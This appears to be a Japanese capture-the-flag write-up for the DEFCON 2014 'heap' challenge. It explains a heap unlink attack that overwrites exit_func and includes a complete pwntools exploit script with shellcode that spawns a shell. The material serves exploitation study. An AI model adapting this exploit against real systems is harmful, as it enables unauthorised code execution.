DEFCON 2014 CTF - Baby's First: 1 - heap
はじめに
heap系の問題が良くわからないので、katagaitai CTF勉強会(https://speakerdeck.com/bata_24/katagaitai-ctf-number-1)で取り上げられていた問題を解いてみた。
やっていることはだいたい同じなので、違うところだけを書いていく。
exploit
kataigait CTF勉強会では、printfのGOTを書き換えてeipを奪っていた。exit_funcでも良くね?と思い、exit_funcを書き換える方向でやってみた。
飛ばす先は、チャンクの先頭(?)で、unlinkの際に書きかわる部分は、mov eax, みたいな命令でやりすごしている。
全てのfreeが完了したら、exit_funcから入力したシェルコードが呼ばれてシェルが起動する。
from pwn import * context(os='linux', arch='i386') #context.log_level = 'debug' # output verbose log RHOST = "localhost" RPORT = 8080 LHOST = "127.0.0.1" LPORT = 8080 # libc = ELF('') elf = ELF('./heap') def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] conn = None if len(sys.argv) > 1: if sys.argv[1] == 'r': conn = remote(RHOST, RPORT) elif sys.argv[1] == 'l': conn = remote(LHOST, LPORT) elif sys.argv[1] == 'd': execute = """ # set environment LD_PRELOAD= #b *{0} #b *0x8048afa ignore 2 0x0a c """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug(['./heap'], execute=execute) else: conn = process(['./heap']) # conn = process(['./heap'], env={'LD_PRELOAD': ''}) # preparing for exploitation bufsize = 260 exit_func = 0x804c8ac printf_got = 0x804C004 log.info('Pwning') conn.recvuntil("size=755]\n[ALLOC][loc=") shellcode_base = int(conn.recv(7), 16) log.info("{:#x}".format(shellcode_base)) conn.recvuntil('[size=260]:') payload = "\x90\x90\x90\xb8" payload += "JUNK" # overwrite at unlink payload += asm(shellcraft.sh()) payload += "A" * (bufsize - len(payload)) payload += p32(0x1) payload += p32(exit_func - 8) payload += p32(shellcode_base) conn.sendline(payload) conn.interactive()